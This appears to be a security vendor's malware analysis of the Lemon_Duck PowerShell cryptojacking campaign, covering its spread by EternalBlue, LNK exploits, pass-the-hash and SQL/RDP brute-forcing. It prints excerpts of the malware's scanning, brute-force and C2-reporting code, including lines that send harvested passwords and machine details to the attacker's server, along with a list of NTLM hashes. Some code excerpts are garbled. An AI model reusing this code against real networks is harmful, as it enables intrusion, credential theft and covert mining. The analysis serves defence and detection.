Lemon_Duck PowerShell malware cryptojacks enterprise networks

SophosLabs are monitoring a significant spike in crypto mining attacks, which spread quickly across enterprise networks. Starting from a single infection, these attacks use a variety of malicious scripts that, eventually, turn an enterprise’s large pool of CPU resources into efficient cryptocurrency mining slaves.

The threat actors behind these campaigns have been using an array of advanced techniques, including fileless script execution, leveraging open source security tools for nefarious purposes, and abuse of exploitable vulnerabilities to rapidly spread laterally to other machines within the same network.

In its latest iterations, the threat actor has begun to employ the use of EternalBlue exploits to propagate laterally to other machines in the same network. Some of the malicious scripts use the term “$Lemon_Duck” as a variable, so we (and a few other companies who have contemporaneously blogged about this same threat actor) have started to refer to these attackers as the Lemon_Duck PowerShell campaign.

In this post, we’ve turned our attention to what appears to be an organized campaign run by attackers who methodically and consistently upgrade their attack scripts with new offensive techniques. Most of the offensive modules used in this script are sourced from open source repositories; The malicious scripts maintain their persistence on infected Windows machines using Scheduled Tasks.

Target selection for crypto mining

This campaign randomly generates IP addresses for targeting, and port-scans for listening services on specific port numbers, such as 445/TCP (SMB), 1433/TCP (MS-SQL server), or 65529/TCP (A port used by a machine that has been previously compromised by this same threat actor).

Once the script gets a response from the remote machine, it probes the IP address for the EternalBlue SMB vulnerability or performs a brute-force attack against the MS-SQL service in an attempt to compromise the machine. Machines with listening ports open on 65529/TCP have previously been compromised by this or another threat actor using a similar script.

This section of the malicious script contains the logic by which it randomly generates target IP addresses:

function getipaddrs{
    write-host "Get ipaddress..."
    $allip = @()
    [string[]]$ipsub = @('192.168.0','192.168.1','192.168.2','192.168.3','192.168.4','192.168.5','192.168.6','192.168.7','192.168.8','192.168.9','192.168.10','192.168.18','192.168.31','192.168.199','192.168.254','192.168.67','10.0.0','10.0.1','10.0.2','10.1.1','10.90.90','10.1.10','10.10.1')
    $regex = [regex]"bd{1,3}.d{1,3}.d{1,3}.d{1,3}b"    $regex.Matches((ipconfig /all)) | ForEach-Object {{{}}
        if ($allip -notcontains $_.Value)
        { $allip {{+= $_.Value }}}
    $regex.Matches((ipconfig /displaydns)) | ForEach-Object {{{}}
        if ($allip -notcontains $_.Value)
        { $allip {{+= $_.Value }}}
    $regex.Matches((netstat -ano)) | ForEach-Object {{{}}
        if ($allip -notcontains $_.Value)
        { $allip {{+= $_.Value }}}
    }    foreach($IP in $allip)
        if ($IP.StartsWith("127.") -or ($IP -match '25d.') -or ($IP -match '24d.') -or $IP.StartsWith("0.") -or $IP.StartsWith("169.254") -or $IP -eq '')
            $iptemp = $ip.Split(".")
            $SubnetIP = $iptemp[0]  "."   $iptemp[1]  "."   $iptemp[2]
            if ($ipsub -notcontains $SubnetIP)
            { $ipsub = @($SubnetIP) + $ipsub}
        $NetObject = New-Object Net.WebClient
        $wlanip = $NetObject.DownloadString("https://api.ipify.org/")  
        $wlaniptemp = $wlanip.Split(".")
        $wlansub = $wlaniptemp[0]  "."   $wlaniptemp[1]  "."   $wlaniptemp[2]
        if($ipsub -notcontains $wlansub)
        { $ipsub += $wlansub }           
        $ipaddress = [System.Net.DNS]::GetHostByName($null).AddressList    
        $localip = @()
        Foreach ($ip in $ipaddress)
            $localip += $ip.IPAddressToString
            $intiptemp = $ip.IPAddressToString.Split(".")
            if($intiptemp[0] -ne '127'){
                $intipsub = $intiptemp[0]  "."   $intiptemp[1]  "."   $intiptemp[2]
                if($ipsub -notcontains $intipsub)
                { $ipsub += $intipsub }
    for($i=0; $i -lt 30; $i++){
            $ran_ipsub = ""(1(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))
            if($ipsub -notcontains $ran_ipsub){
                $ipsub = ""(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))
    $global:ipaddrs = @()
    foreach($ipsub2 in $ipsub)
    {{ {  }

        write-host $ipsub2
        $global:ipaddrs = 1..254|%{$ipsub2{}"."+$_}
    $global:ipaddrs = @($global:ipaddrs | Where-Object { $localip -notcontains $_ })
    write-host "Get address done!!"

And this portion of the script dictates how the attackers scan for specific listening ports on the targeted computers:

function localscan {
    [int]$Port = 445
    write-host "scan port $port..."
    [string[]]$openips = @()
    $clients = @
    $connects = @
    foreach($ip in $ipaddrs) {
            $client = New-Object System.Net.Sockets.TcpClient
            $connect = $client.BeginConnect($ip,$port,$null,$null)
            $connects[}}{{$ip}}{{] = $connect
            $clients[}}{{$ip}}{{] = $client
    Start-Sleep -Milli 3000
    foreach($ip in $clients.Keys) {
        if ($clients[}}{{$ip}}{{].Connected) {
            $openips += $ip
    write-host $openips.count
    return ,$openips

Finally, the attackers use a password & hash dictionary in an attempt to brute-force a Microsoft SQL server’s “sa” (super admin) account credentials. The script runs through a long list of passwords (including ones that have been used in the past by a variety of threat groups who spread Mirai and other IoT botnet malware. The attackers also use an array of NTLM hashes in a “pass the hash” attack.

Here’s the password list:


And this is the script’s NTLM hash collection

"579da618cfbfa85247acf1f800a280a4", "47bf8039a8506cd67c524a03ff84ba4e","5ae7b89b3afea28d448ed31b5c704289","3f9f5f112da330ac4c20be279c6addfa","73f5d97549f033374fa6d9f9ce247ffd",
"6f12c0ab327e099821bd938f39faab0d","e5ae562ddfaa6b446c32764ab1ebf3ed", "161cff084477fe596a5db81874498a24","d30c2ef8389ac9e8516baacb29463b7b","bc007082d32777855e253fd4defe70ee",
"e45a314c664d40a227f9540121d1a29d","d144986c6122b1b1654ba39932465528","f4bb18c1165a89248f9e853b269a8995", "570a9a65db8fba761c1008a51d4c95ab","e1a692bd23bde99b327756e59308b4f8",
"a87f3a337d73085c45f9416be5787d86","00affd88fa323b00d4560bf9fef0ec2f","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","674e48b68c5cd0efd8f7e5faa87b3d1e", "69943c5e63b4d2c104dbbcc15138b72b",
"e8cd0e4a9e89eab931dc5338fcbec54a", "6920c58d0df184d829189c44fafb7ece","3fa45a060bd2693ae4c05b601d05ca0c","ba07ba35933e5bf42dea4af8add09d1e","f1351ac828428d74f6da2968089fc91f",
"e84d037613721532e6b6d84d215854b6","2f2d544c53b3031f24d63402ea7fb4f9", "328727b81ca05805a68ef26acb252039","259745cb123a52aa2e693aaacca2db52","c22b315c040ae6e0efee3518d830362b",
"162e829be112225fedf856e38e1c65fe","209c6174da490caeb422f3fa5a7ae634","f9e37e83b83c47a93c2f09f66408631b", "b3ec3e03e2a202cbd54fd104b8504fef","4ed91524cb54eaacc17a185646fb7491",
"aa647b916a1fad374df9c30711d58a7a","a80c9cc3f8439ada25af064a874efe2d","13b29964cc2480b4ef454c59562e675c","de26cce0356891a4a020e7c4957afc72", "e19ccf75ee54e06b06a5907af13cef42",
"152efbcfafeb22eabda8fc5e68697a41", "5835048ce94ad0564e29a924a03510ef","2d20d252a479f485cdf5e171d93985bf","320a78179516c385e35a93ffa0b1c4ac","0d757ad173d2fc249ce19364fd64c8ec",
"72f5cfa80f07819ccbcfb72feb9eb9b7","f67f5e3f66efd7298be6acd32eeeb27c", "1c4ecc8938fb93812779077127e97662","ad70819c5bc807280974d80f45982011","a836ef24f0a529688be2af1479a95411",
"36aa83bdcab3c9fdaf321ca42a31c3fc","acb98fd0478427cd18949050c5e87b47","85deeec2d12f917783b689ae94990716", "a4141712f19e9dd5adf16919bb38a95c","e7380ae8ef85ae55bdceaa59e418bd06",

Suffice to say, if you run a public-internet-facing MS-SQL server, and you’re using one of these passwords, if your machine isn’t already compromised, it’s only a matter of time before it will be.

The Lemon_Duck kill-chain

Using the Windows Scheduled Tasks mechanism, the malicious scripts download and execute a fresh copy of the malicious script at one-hour intervals. The initial downloaded script performs validation of itself using a hardcoded hash before it executes. If that succeeds, the script downloads other payloads: a coin miner and an exploitation module.

This section of the script validates the checksum:

$m=(New-Object System.Net.WebClient).DownloadData($y);  // Downloaded SHA should be equal to 'd8109cec0a51719be6f411f67b3b7ec1'

The $Lemon_Duck variable stores the filename of the task, and passes it to the command-and-control server in the User-Agent string. If everything checks out at this phase, the script begins to download the payloads.

Threat propagation and lateral spread

The script also attempts to propagate itself laterally, using the initially infected machine as a foothold into the rest of the network. To do this, it engages in a variety of methods, including the use of:

  • EternalBlue: Compromise through SMB exploitation (patch your boxes!)
  • USB & Network Drives: The script writes malicious Windows *.lnk shortcut files & malicious DLL files to removable storage connected to infected machines, and to mapped network drives (CVE-2017-8464)
  • Startup files: The script writes files to startup locations on the Windows filesystem (such as the Start Menu’s Startup folder) to execute during reboot.
  • MS-SQL Server brute-forcing – The script tries a variety of (really bad) passwords that might be used by the SQL Server “SA” user account.
  • Pass the Hash attack – Leverages the NTLM hashes from the table shown above
  • Execution of malicious commands on remote machines using WMI
  • RDP Bruteforcing

In some of these attempted exploits, the script also creates one or more Scheduled Tasks to launch malicious scripts several minutes after the initial compromise. These tricks may be a rudimentary, ham-fisted attempt to evade behaviour-based security products. These types of security tools track the sequence and timing of events to identify attacks in progress and, theoretically, block an attack once a certain threshold of suspicious commands is issued within a short timeframe.

Once new scripts are downloaded from the malicious C&C server, the newer scripts remove the Scheduled Tasks entries created during the initial exploitation. Here are some examples of the propagation methods in use by this threat actor:

EternalBlue: The attacker’s scan machines that respond on 445/TCP to see if they are susceptible to the EternalBlue vulnerability using a tool called PingCastle.

The PingCastle EternalBlue vulnerability scanner

Machines found to be vulnerable to this exploit are then attacked using EternalBlue. The attack script also determines whether the vulnerable machine is running Windows 7 or older, or Windows 8 or newer versions.

    write-host "start eb scanning..."
    $vul=[PingCastle.Scanners.m17sc]::Scan($currip) // scan for vulnerable IP
    if($vul{{) { }

        write-host "$currip seems eb vulnerable..."
        $res = eb7 $currip $sc           //targeting win7 & older version
        if($res) {
            write-host "$currip eb7 got it!!!"
        } else {
            $res = eb8 $currip $sc       //Windows 8, 10 & 2012
            if($res) {
                write-host "$currip eb8 got it!!!"

After the attack script determines the version of the attack it will use, it launches the “SMB Exploitation Module” shown below.

EtrernalBlue attack code from the Lemon_Duck attack

LNK Remote Code Execution: The threat actors behind Lemon_Duck introduced a Windows shortcut *.lnk exploitation component in a recent update. The component exploits the CVE-2017-8464 vulnerability to spread by copying the malicious code to removable USB mass storage devices or network drives.

The script writes both a 32- and 64-bit version of a malicious DLL component, along with with with the corresponding *.lnk files, to the USB or network drive. When the user opens this drive in Windows Explorer or any other application that parses the .lnk Shortcut file, the shortcut executes the malicious DLL component.

The USBLNK component can spread to either FAT32 or NTFS file shares or removable storage devices

The script also creates a file named “UTFsync inf_data” – (file_location) as a reference marker to confirm that the drive is already infected with *.lnk & *.dll component. The presence of this file confirms the drive is already infected, so they skip this drive from infecting again.

PassTheHash Attack: The script verifies the user account privileges. If the user has administrator privileges, then the script invokes Dave Kennedy’s PowerDump module and Benjamin Delpy’s Mimikatz to dump all the NTLM hashes, Username, Password, and domain information. The script later uses those credentials to upload the malicious script files, followed by associated batch or *.lnk file, to the %startup% folder on any remote machines it can access in the network, or execute the PowerShell code remotely using WMI.

PowerDump Module: This module looks very similar to an open source script used for penetration testing and features two additional open-source scripting tools.

The malware uses the credentials harvested using Mimikatz to invoke the following PowerShell modules originally published by Kevin Robertson.

  • Invoke-SE” – to execute the malicious batch command in the remote machine.
  • Invoke-SMBC” – “List” the IPC$ shares of all user, which are maintained by the SMB. It performs three different operations “List”, “Put” and “Delete”.
The malicious script invokes several open-source penetration testing tool PowerShell scripts

MS-SQL server brute-forcing: The script portscans active IP addresses and enumerates any machine with an open port 1433/TCP, the port used by the Microsoft SQL service, and then engages in a brute-force attack against the “SA” user account, using the list of the passwords shown above, along with any password collected locally from the machine using Mimikatz.

Upon a successful compromise of the MS-SQL server account, the script uses the sqlserver.exe process to execute malicious commands against other machines.

The Lemon_Duck MS-SQL server attack code

RDP brute-forcing:

The RDP module scans for open servers listening on the default RDP port 3389/TCP and will attempt to login with the “administrator” user name. The script will cycle through a list of hardcoded passwords using the “freerdp” open-source utility.on successful login, the malicious command is executed in the machine.

foreach($currip in $rdp_portopen[1]) {
			if (($old_portopen -notcontains $currip) -and ($currip.length -gt 6)){
				write-host "start rdp scanning..."
				foreach($password in $allpass){
					write-host "Try pass:$password"
					$flag = (new-object RDP.BRUTE).check($exepath,$currip,"administrator",$password,$false)
						write-host "SUCC!!"
						$brute = new-object RDP.BRUTE
							(New-Object Net.WebClient).DownloadString($log_url+'/report.json?type=rdp&ip='+$currip+'&pass='+$password+'&t='+$t)
							write-host "Try to run command!!"
						start-sleep 10
RDP Bruteforce Launching code

If the machine is been compromised with any of the above methods, the script modifies the Windows Firewall settings to open port 65529/TCP. It uses this indicator as a marker for the malicious script to identify that the machine is already compromised, so it will avoid reusing the exploitation modules on those machines.

This exploitation code runs continuously, with a 5-minute pause, every time it generates a new random IP address list. The script scans for the SMB & MS-SQL services to compromise the new machines. It also builds profiling information about the machine and passes it to its command-and-control server every time it runs this code.

Installation Tracking C2: This module only runs the first time a machine becomes compromised. This usually happens at the end of the kill chain, after executing all the downloaded modules for local exploitation, lateral movement, and the actual mining script. This module reports the machine profile back to its C2 server along with the status of each executed module.
write-host "reporting"
		$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1
		$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
		$comp_name = $env:COMPUTERNAME
		$wf = test-path $env:tmpwfreerdp.exe // RDP utility 
		$mf = test-path $env:tmpmimi.dat // mimikatz
		(New-Object Net.WebClient).DownloadString($log_url+'/log.json?V=0.1&ID='+$comp_name+'&GUID='+$guid+'&MAC='+$mac+'&retry='+$retry+'&pc1='+$portopen[1].count+'&pc2='+$ms_portopen[1].count+'&pc3='+$old_portopen[1].count+'&pc4='+$rdp_portopen[1].count+'&pci='+$ipaddrs_i.count+'&pco='+$ipaddrs_o.count+'&pcb='+$global:ipaddrs_b+'&mi='+($getpasswd -join "^^")+'&wf='+[Int]$wf+'&mf='+[Int]$mf)
Continuous Monitoring C2: An infected machine will continuously send reports back to the C2 server with the latest status of exploitation and mining modules. This module is executed after all the payload script modules have run. Among the parameters sent back to the C2 server are details about the compromised user accounts, machine configuration, user privilege and exploitation or mining payloads status.

Paramaters -
$comp_name = Computername
$guid = machine UUID
$mac = mac address of the machine
$os = installed OS version
$bit = 32 or 64 bit architecture
$user = username
$domain = User Domain
$uptime = system uptime
$card = Installed Graphic Card Name 
$if_ = Exploit & threat progration module 
$mf_ = active 32 or 64 bit mining module
$drive = removable & network drive information
$timestamp = Date in UFormat
$isA = If AMD Radeon graphic Card Installed & 64 bit machine
$permit - Is administrator
FI & IF - Confirm the threat propgation module is executed and running active
FM & MF - Confirm mining module executed and running active
&HR - Miner Hashrate information 

Threat Prevalence

SophosLabs has monitored this malware communicating with its network and built a database of compromised machines. Based on the compromised machine count in the telemetry, we suspect that the attacks may have originated in Asia, but have spread to every continent.

Infected machines around the world, geolocated by their IP address
Percentages of the total number of Lemon_Duck infected endpoints, separated by country-code geolocation of the IP addresses

Detection Coverage

Sophos endpoint products will detect elements of the Lemon_Duck PowerShell components using some of the following definitions.

  • HPmal/PowDld-B – Core Miner Component.
  • Mal/PshlJob-A – Old campaign tasks files + Mssql brute-force task files.
  • Mal/MineJob-C – task files created by Eternal Blue Exploitation.
  • Mal/MineJob-B – Task file persistence.

Sophos Managed Threat Response (MTR) detects and neutralizes Techniques, Tactics and Procedures (TTPs) utilized by attackers throughout this report. These include but are not limited to PowerShell executions and download string IEX calls, brute force failed logins, start-up folder and scheduled task persistence, CVE-2017-8464, Open TCP 1433, pass-the-hash, and other malicious techniques.

Latest Posts